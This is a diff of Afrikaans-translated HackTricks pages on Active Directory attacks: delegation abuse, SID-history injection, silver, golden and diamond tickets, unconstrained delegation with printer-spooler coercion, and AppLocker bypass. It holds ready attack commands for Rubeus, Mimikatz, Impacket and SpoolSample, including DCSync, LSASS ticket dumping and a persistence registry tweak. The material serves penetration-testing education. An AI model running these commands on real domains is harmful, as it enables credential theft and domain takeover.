2. Die aanvaller **misbruik sy SKRYF regte** oor die slagoffer rekenaar (DiensB) om **hulpbron-gebaseerde beperkte afvaardiging te konfigureer om DiensA toe te laat om enige gebruiker** teen daardie slagoffer rekenaar (DiensB) te verteenwoordig.
3. Die aanvaller gebruik Rubeus om 'n **volledige S4U-aanval** (S4U2Self en S4U2Proxy) van Diens A na Diens B vir 'n gebruiker **met bevoorregte toegang tot Diens B** uit te voer.
1. S4U2Self (van die SPN gecompromitteerde/geskepte rekening): Vra vir 'n **TGS van Administrateur na my** (Nie Forwardable).
@ -33,30 +33,30 @@ Neem aan dat die aanvaller reeds **skrywequivalente regte oor die slagoffer reke
4. Die aanvaller kan **pass-the-ticket** en **verteenwoordig** die gebruiker om **toegang tot die slagoffer DiensB** te verkry.
Om die _**MachineAccountQuota**_ van die domein te kontroleer, kan jy gebruik:
```powershell
```bash
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
## Aanval
### Skep 'n Rekenaarobjek
Jy kan 'n rekenaarobjek binne die domein skep met behulp van [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
```powershell
Jy kan 'n rekenaarobjek binne die domein skep met **[powermad](https://github.com/Kevin-Robertson/Powermad):**
```bash
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
```
### Konfigurasie van R**esource-gebaseerde Beperkte Afvaardiging**
### Konfigurasie van Hulpbron-gebaseerde Beperkte Afvaardiging
**Gebruik van activedirectory PowerShell-module**
```powershell
**Gebruik activedirectory PowerShell-module**
```bash
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**Gebruik powerview**
```powershell
```bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
@ -72,7 +72,7 @@ msds-allowedtoactonbehalfofotheridentity
```
### Voer 'n volledige S4U-aanval uit
Eerst het ons die nuwe rekenaarobjek met die wagwoord `123456` geskep, so ons het die hash van daardie wagwoord nodig:
Eerstens het ons die nuwe Rekenaar objek met die wagwoord `123456` geskep, so ons het die hash van daardie wagwoord nodig:
```bash
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
@ -81,17 +81,17 @@ Nou kan die aanval uitgevoer word:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
U kan meer kaartjies genereer deur net een keer te vra met die `/altservice` parameter van Rubeus:
U kan meer kaartjies vir meer dienste genereer deur net een keer te vra met die `/altservice` parameter van Rubeus:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
> [!CAUTION]
> Let daarop dat gebruikers 'n attribuut het genaamd "**Kan nie gedelegeer word nie**". As 'n gebruiker hierdie attribuut op Waar het, sal jy nie in staat wees om hom te verpersoonlik nie. Hierdie eienskap kan binne bloodhound gesien word.
> Let op dat gebruikers 'n attribuut het genaamd "**Kan nie gedelegeer word nie**". As 'n gebruiker hierdie attribuut op Waar het, sal jy hom nie kan naboots nie. Hierdie eienskap kan binne bloodhound gesien word.
### Toegang
Die laaste opdraglyn sal die **volledige S4U-aanval uitvoer en die TGS** van Administrator na die slagoffer-gasheer in **geheue** inspuit.\
In hierdie voorbeeld is 'n TGS vir die **CIFS** diens van Administrator aangevra, so jy sal in staat wees om toegang te verkry tot **C$**:
In hierdie voorbeeld is 'n TGS vir die **CIFS** diens van Administrator aangevra, so jy sal toegang hê tot **C$**:
```bash
ls \\victim.domain.local\C$
```
@ -107,7 +107,7 @@ Leer oor die [**beskikbare dienskaartjies hier**](silver-ticket.md#available-ser
- **`KDC_ERR_BADOPTION`**: Dit kan beteken:
- Die gebruiker wat jy probeer om te verteenwoordig kan nie toegang tot die verlangde diens verkry nie (omdat jy dit nie kan verteenwoordig nie of omdat dit nie genoeg bevoegdhede het nie)
- Die gevraagde diens bestaan nie (as jy vir 'n kaartjie vir winrm vra maar winrm nie loop nie)
- Die fakecomputer wat geskep is het sy bevoegdhede oor die kwesbare bediener verloor en jy moet dit teruggee.
- Die fakecomputer wat geskep is, het sy bevoegdhede oor die kwesbare bediener verloor en jy moet dit teruggee.
## Verwysings
@ -115,6 +115,7 @@ Leer oor die [**beskikbare dienskaartjies hier**](silver-ticket.md#available-ser
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## SID History Inspuiting Aanval
Die fokus van die **SID History Inspuiting Aanval** is om **gebruikermigrasie tussen domeine** te ondersteun terwyl toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur **die gebruiker se vorige Veiligheidsidentifiseerder (SID) in die SID Geskiedenis** van hul nuwe rekening in te sluit. Dit is belangrik om te noem dat hierdie proses gemanipuleer kan word om ongemagtigde toegang te verleen deur die SID van 'n hoë-privilege groep (soos Enterprise Admins of Domain Admins) van die ouer domein by die SID Geskiedenis te voeg. Hierdie uitbuiting bied toegang tot alle hulpbronne binne die ouer domein.
Die fokus van die **SID History Inspuiting Aanval** is om **gebruikermigrasie tussen domeine** te ondersteun terwyl toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur **die gebruiker se vorige Veiligheidsidentifiseerder (SID) in die SID Geskiedenis** van hul nuwe rekening in te sluit. Dit is belangrik om te noem dat hierdie proses gemanipuleer kan word om ongeoorloofde toegang te verleen deur die SID van 'n hoë-privilege groep (soos Enterprise Admins of Domain Admins) van die ouer domein by die SID Geskiedenis te voeg. Hierdie uitbuiting bied toegang tot alle hulpbronne binne die ouer domein.
Twee metodes bestaan om hierdie aanval uit te voer: deur die skep van 'n **Golden Ticket** of 'n **Diamond Ticket**.
@ -13,9 +13,37 @@ Om die SID vir die **"Enterprise Admins"** groep te bepaal, moet 'n mens eers di
Jy kan ook die **Domain Admins** groepe gebruik, wat eindig op **512**.
'n Ander manier om die SID van 'n groep van die ander domein (byvoorbeeld "Domain Admins") te vind, is met:
```powershell
```bash
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
> [!WARNING]
> Let daarop dat dit moontlik is om SID-geskiedenis in 'n vertrouensverhouding te deaktiveer, wat hierdie aanval sal laat misluk.
Volgens die [**docs**](https://technet.microsoft.com/library/cc835085.aspx):
- **Deaktiveer SIDHistory op woudvertroue** met die netdom-gereedskap (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`)
- **Pas SID Filter Quarantining toe op eksterne vertroue** met die netdom-gereedskap (`netdom trust /domain: /quarantine:yes on the domain controller`)
- **Pas SID Filtering toe op domeinvertroue binne 'n enkele woud** word nie aanbeveel nie, aangesien dit 'n onondersteunde konfigurasie is en breekveranderinge kan veroorsaak. As 'n domein binne 'n woud onbetroubaar is, moet dit nie 'n lid van die woud wees nie. In hierdie situasie is dit nodig om eers die vertroude en onbetroubare domeine in aparte woude te verdeel waar SID Filtering op 'n interforest vertroue toegepas kan word.
Kyk na hierdie pos vir meer inligting oor om dit te omseil: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
### Diamond Ticket (Rubeus + KRBTGT-AES256)
Laas keer toe ek dit probeer het, moes ek die arg **`/ldap`** byvoeg.
```bash
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
# Or a ptt with a golden ticket
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
#e.g.
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
# You can use "Administrator" as username or any other string
```
### Goue Kaart (Mimikatz) met KRBTGT-AES256
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
@ -39,17 +67,8 @@ Vir meer inligting oor goue kaartjies, kyk:
golden-ticket.md
{{#endref}}
### Diamantkaartjie (Rubeus + KRBTGT-AES256)
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
```
Vir meer inligting oor diamond tickets, kyk na:
Vir meer inligting oor diamant kaartjies, kyk:
{{#ref}}
diamond-ticket.md
@ -99,9 +118,9 @@ export KRB5CCNAME=hacker.ccache
# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
#### Outomaties met [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
#### Automaties met [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
Dit is 'n Impacket-skrip wat **outomaties die opgradering van kind- na ouer-domein** sal hanteer. Die skrip benodig:
Dit is 'n Impacket-skrip wat **die opgradering van kind na ouer domein outomatiseer**. Die skrip benodig:
- Teikendomeinbeheerder
- Kredensies vir 'n admin gebruiker in die kinddomein
@ -109,10 +128,10 @@ Dit is 'n Impacket-skrip wat **outomaties die opgradering van kind- na ouer-dome
Die vloei is:
- Verkry die SID vir die Enterprise Admins-groep van die ouerdomein
- Verkry die hash vir die KRBTGT-rekening in die kinddomein
- Skep 'n Goue Tiket
- Herwin die hash vir die KRBTGT-rekening in die kinddomein
- Skep 'n Golden Ticket
- Meld aan by die ouerdomein
- Verkry kredensies vir die Administrateur-rekening in die ouerdomein
- Herwin kredensies vir die Administrator-rekening in die ouerdomein
- As die `target-exec` skakel gespesifiseer is, verifieer dit by die ouerdomein se Domeinbeheerder via Psexec.
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username

View File

@ -6,9 +6,13 @@
## Silver ticket
Die **Silver Ticket** aanval behels die uitbuiting van dienskaartjies in Active Directory (AD) omgewings. Hierdie metode staat op **die verkryging van die NTLM-hash van 'n diensrekening**, soos 'n rekenaarrekening, om 'n Ticket Granting Service (TGS) kaartjie te vervals. Met hierdie vervalste kaartjie kan 'n aanvaller toegang verkry tot spesifieke dienste op die netwerk, **om enige gebruiker na te boots**, tipies met die doel om administratiewe regte te verkry. Dit word beklemtoon dat die gebruik van AES-sleutels vir die vervalsing van kaartjies veiliger en minder opspoorbaar is.
Die **Silver Ticket** aanval behels die uitbuiting van dienskaartjies in Active Directory (AD) omgewings. Hierdie metode staat op **die verkryging van die NTLM-hash van 'n diensrekening**, soos 'n rekenaarrekening, om 'n Ticket Granting Service (TGS) kaartjie te vervals. Met hierdie vervalste kaartjie kan 'n aanvaller toegang verkry tot spesifieke dienste op die netwerk, **om enige gebruiker na te boots**, tipies met die doel om administratiewe regte te verkry. Dit word beklemtoon dat die gebruik van AES sleutels vir die vervalsing van kaartjies veiliger en minder opspoorbaar is.
Vir kaartjie-ontwikkeling word verskillende gereedskap gebruik, gebaseer op die bedryfstelsel:
> [!WARNING]
> Silver Tickets is minder opspoorbaar as Golden Tickets omdat hulle net die **hash van die diensrekening** vereis, nie die krbtgt rekening nie. Hulle is egter beperk tot die spesifieke diens wat hulle teiken. Boonop, net om die wagwoord van 'n gebruiker te steel.
Boonop, as jy 'n **rekening se wagwoord met 'n SPN** kompromitteer, kan jy daardie wagwoord gebruik om 'n Silver Ticket te skep wat enige gebruiker na daardie diens naboots.
Vir kaartjie-ontwerp word verskillende gereedskap gebruik, gebaseer op die bedryfstelsel:
### On Linux
```bash
@ -18,6 +22,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### Op Windows
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
@ -32,16 +41,16 @@ Die CIFS-diens word uitgelig as 'n algemene teiken om toegang tot die slagoffer
## Beskikbare Dienste
| Diens Tipe | Diens Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| Diens Tipe | Diens Silver Tickets |
| ------------------------------------------ | ------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Afhangende van OS ook:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In sommige gevalle kan jy net vra vir: WINRM</p> |
| Geplande Take | HOST |
| Windows Lêer Deel, ook psexec | CIFS |
| LDAP operasies, ingesluit DCSync | LDAP |
| Windows Remote Server Administrasie Gereedskap | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Goue Tickets | krbtgt |
| Geplande Take | HOST |
| Windows Lêer Deel, ook psexec | CIFS |
| LDAP bedrywighede, ingesluit DCSync | LDAP |
| Windows Afgeleë Bediener Administrasie Gereedskap | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Goue Tickets | krbtgt |
Met **Rubeus** kan jy **vra vir al** hierdie kaarte met die parameter:
@ -53,13 +62,17 @@ Met **Rubeus** kan jy **vra vir al** hierdie kaarte met die parameter:
- 4634: Rekening Afmelding
- 4672: Admin Aanmelding
## Volharding
Om te verhoed dat masjiene hul wagwoord elke 30 dae draai, stel `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` of jy kan `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` op 'n groter waarde as 30 dae stel om die draai periode aan te dui wanneer die masjien se wagwoord gedraai moet word.
## Misbruik van Diens kaarte
In die volgende voorbeelde kom ons veronderstel dat die kaart verkry is deur die administrateurrekening na te volg.
In die volgende voorbeelde kom ons veronderstel dat die kaart verkry is deur die administrateur rekening na te volg.
### CIFS
Met hierdie kaart sal jy in staat wees om toegang te verkry tot die `C$` en `ADMIN$` gids via **SMB** (as hulle blootgestel is) en lêers na 'n deel van die afstand lêerstelsel te kopieer deur iets soos te doen:
Met hierdie kaart sal jy in staat wees om toegang te verkry tot die `C$` en `ADMIN$` gids via **SMB** (as hulle blootgestel is) en lêers na 'n deel van die afgeleë lêerstelsel te kopieer deur iets soos te doen:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
@ -109,7 +122,7 @@ Met winrm toegang oor 'n rekenaar kan jy **dit toegang** en selfs 'n PowerShell
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Kontrollere die volgende bladsy om **meer maniere te leer om met 'n afstandsbediener te verbind met winrm**:
Kontroleer die volgende bladsy om **meer maniere te leer om met 'n afstandsbediener te verbind met winrm**:
{{#ref}}
../lateral-movement/winrm.md
@ -126,15 +139,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
```
**Leer meer oor DCSync** in die volgende bladsy:
## Verwysings
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
{{#ref}}
dcsync.md
{{#endref}}
## Verwysings
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,45 +1,52 @@
# Onbeperkte Afvaardiging
# Unconstrained Delegation
{{#include ../../banners/hacktricks-training.md}}
## Onbeperkte afvaardiging
## Unconstrained delegation
Dit is 'n kenmerk wat 'n Domein Administrateur kan stel op enige **Rekenaar** binne die domein. Dan, wanneer 'n **gebruiker aanmeld** op die Rekenaar, sal 'n **kopie van die TGT** van daardie gebruiker **binne die TGS** wat deur die DC **gestuur word en in geheue in LSASS gestoor word**. So, as jy Administrateur regte op die masjien het, sal jy in staat wees om die **kaartjies te dump en die gebruikers te vervang** op enige masjien.
Dit is 'n kenmerk wat 'n Domein Administrateur kan stel op enige **Rekenaar** binne die domein. Dan, wanneer 'n **gebruiker aanmeld** op die Rekenaar, gaan 'n **kopie van die TGT** van daardie gebruiker **binne die TGS** wat deur die DC **gestuur en in geheue in LSASS gestoor word**. So, as jy Administrateur regte op die masjien het, sal jy in staat wees om die **kaartjies te dump en die gebruikers te verteenwoordig** op enige masjien.
So as 'n domein admin aanmeld op 'n Rekenaar met die "Onbeperkte Afvaardiging" kenmerk geaktiveer, en jy het plaaslike admin regte op daardie masjien, sal jy in staat wees om die kaartjie te dump en die Domein Admin enige plek te vervang (domein privesc).
So as 'n domein admin aanmeld op 'n Rekenaar met die "Unconstrained Delegation" kenmerk geaktiveer, en jy het plaaslike admin regte op daardie masjien, sal jy in staat wees om die kaartjie te dump en die Domein Admin enige plek te verteenwoordig (domein privesc).
Jy kan **Rekenaar voorwerpe met hierdie attribuut vind** deur te kyk of die [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) bevat. Jy kan dit doen met 'n LDAP filter van (userAccountControl:1.2.840.113556.1.4.803:=524288), wat is wat powerview doen:
<pre class="language-bash"><code class="lang-bash"># Lys onbeperkte rekenaars
Jy kan **Rekenaar-objekte met hierdie attribuut vind** deur te kyk of die [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) bevat. Jy kan dit doen met 'n LDAP-filter van (userAccountControl:1.2.840.113556.1.4.803:=524288), wat is wat powerview doen:
```bash
# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs verskyn altyd maar is nie nuttig vir privesc nie
<strong>## ADSearch
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Eksporteer kaartjies met Mimikatz
</strong>privilege::debug
sekurlsa::tickets /export #Aanbevole manier
kerberos::list /export #Nog 'n manier
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer Unconstrained Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
# Monitor aanmeldings en eksport nuwe kaartjies
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Kontroleer elke 10s vir nuwe TGTs</code></pre>
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
```
Laai die kaartjie van die Administrateur (of slagoffer gebruiker) in geheue met **Mimikatz** of **Rubeus vir 'n** [**Pass the Ticket**](pass-the-ticket.md)**.**\
Meer inligting: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**Meer inligting oor Onbeperkte afvaardiging in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
[**Meer inligting oor Onbeperkte delegasie in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **Forceer Verifikasie**
As 'n aanvaller in staat is om 'n **rekenaar wat toegelaat word vir "Onbeperkte Afvaardiging" te kompromitteer**, kan hy 'n **Druk bediener** **mislei** om **outomaties aan te meld** teen dit **en 'n TGT in die geheue van die bediener te stoor**.\
Dan kan die aanvaller 'n **Pass the Ticket aanval uitvoer om** die gebruiker se Druk bediener rekenaarrekening te vervang.
As 'n aanvaller in staat is om 'n **rekenaar wat toegelaat word vir "Onbeperkte Delegasie"** te **kompromitteer**, kan hy 'n **Druk bediener** **mislei** om **outomaties aan te meld** teen dit **terwyl 'n TGT** in die geheue van die bediener gestoor word.\
Dan kan die aanvaller 'n **Pass the Ticket aanval uitvoer om** die gebruiker se Druk bediener rekenaarrekening na te volg.
Om 'n druk bediener teen enige masjien aan te meld, kan jy [**SpoolSample**](https://github.com/leechristensen/SpoolSample) gebruik:
Om 'n druk bediener teen enige masjien aan te meld, kan jy [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
As die TGT van 'n domeinbeheerder is, kan jy 'n [**DCSync-aanval**](acl-persistence-abuse/index.html#dcsync) uitvoer en al die hashes van die DC verkry.\
[**Meer inligting oor hierdie aanval in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**Hier is ander maniere om te probeer om 'n outentisering te dwing:**
Vind hier ander maniere om **'n outentisering te dwing:**
{{#ref}}
printers-spooler-service-abuse.md

View File

@ -1,18 +1,18 @@
# Windows Veiligheidsbeheer
# Windows Security Controls
{{#include ../banners/hacktricks-training.md}}
## AppLocker Beleid
'n Aansoek witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om teenwoordig te wees en op 'n stelsel te loop. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie ooreenstem met die spesifieke besigheidsbehoeftes van 'n organisasie nie.
'n Toepassing witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om teenwoordig te wees en op 'n stelsel te loop. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie ooreenstem met die spesifieke besigheidsbehoeftes van 'n organisasie nie.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek witlys oplossing** en gee stelselsadministrateurs beheer oor **watter toepassings en lêers gebruikers kan uitvoer**. Dit bied **fynbeheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte toepassings, en verpakte toepassingsinstalleerders.\
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe blokkeer** en skrywe toegang tot sekere gidse, **maar dit kan alles omseil word**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **toepassing witlys oplossing** en gee stelselsadministrateurs beheer oor **watter toepassings en lêers gebruikers kan uitvoer**. Dit bied **fynbeheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte toepassings, en verpakte toepassingsinstalleerders.\
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe** blokkeer en skrywe toegang tot sekere gidse, **maar dit kan alles omseil word**.
### Kontroleer
### Kontrole
Kontroleer watter lêers/uitbreidings op die swartlys/witlys is:
```powershell
Kontrole watter lêers/uitbreidings op die swartlys/witlys is:
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -20,11 +20,11 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Hierdie registr pad bevat die konfigurasies en beleide wat deur AppLocker toegepas word, wat 'n manier bied om die huidige stel reëls wat op die stelsel afgedwing word, te hersien:
Hierdie registerpad bevat die konfigurasies en beleide wat deur AppLocker toegepas word, wat 'n manier bied om die huidige stel reëls wat op die stelsel afgedwing word, te hersien:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
### Omseil
- Nuttige **Skryfbare vouers** om die AppLocker-beleid te omseil: As AppLocker toelaat om enigiets binne `C:\Windows\System32` of `C:\Windows` uit te voer, is daar **skryfbare vouers** wat jy kan gebruik om **dit te omseil**.
```
@ -40,32 +40,32 @@ C:\windows\tracing
- **DLL afdwinging is baie selde geaktiveer** weens die ekstra las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat benodig word om te verseker dat niks sal breek nie. So, die gebruik van **DLL's as agterdeure sal help om AppLocker te omseil**.
- Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **Powershell** kode in enige proses uit te voer en AppLocker te omseil. Vir meer inligting, kyk: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Kredensiaal Berging
## Kredietbewaring
### Sekuriteitsrekeningbestuurder (SAM)
Plaaslike kredensiale is teenwoordig in hierdie lêer, die wagwoorde is gehasht.
Plaaslike krediete is teenwoordig in hierdie lêer, die wagwoorde is gehasht.
### Plaaslike Sekuriteitsowerheid (LSA) - LSASS
Die **kredensiale** (gehasht) word **gestoor** in die **geheue** van hierdie subsisteem vir Enkelteken-in redes.\
Die **krediete** (gehasht) word **gestoor** in die **geheue** van hierdie subsysteem vir Enkel Teken Aan.\
**LSA** bestuur die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikersregte...), **verifikasie**, **toegangstokens**...\
LSA sal die een wees wat die **kredensiale** in die **SAM** lêer (vir 'n plaaslike aanmelding) sal **kontroleer** en met die **domeinbeheerder** sal **praat** om 'n domein gebruiker te verifieer.
LSA sal die een wees wat die **krediete** in die **SAM** lêer (vir 'n plaaslike aanmelding) sal **kontroleer** en met die **domeinbeheerder** sal **praat** om 'n domein gebruiker te verifieer.
Die **kredensiale** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontsleutelde wagwoorde.
Die **krediete** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontcijferbare wagwoorde.
### LSA geheime
LSA kan sommige kredensiale op skyf stoor:
LSA kan sommige krediete op skyf stoor:
- Wagwoord van die rekenaarrekening van die Aktiewe Gids (onbereikbare domeinbeheerder).
- Wagwoord van die rekenaarrekening van die Aktiewe Directory (onbereikbare domeinbeheerder).
- Wagwoorde van die rekeninge van Windows dienste
- Wagwoorde vir geskeduleerde take
- Meer (wagwoord van IIS toepassings...)
### NTDS.dit
Dit is die databasis van die Aktiewe Gids. Dit is slegs teenwoordig in Domein Beheerders.
Dit is die databasis van die Aktiewe Directory. Dit is slegs teenwoordig in Domein Beheerders.
## Defender
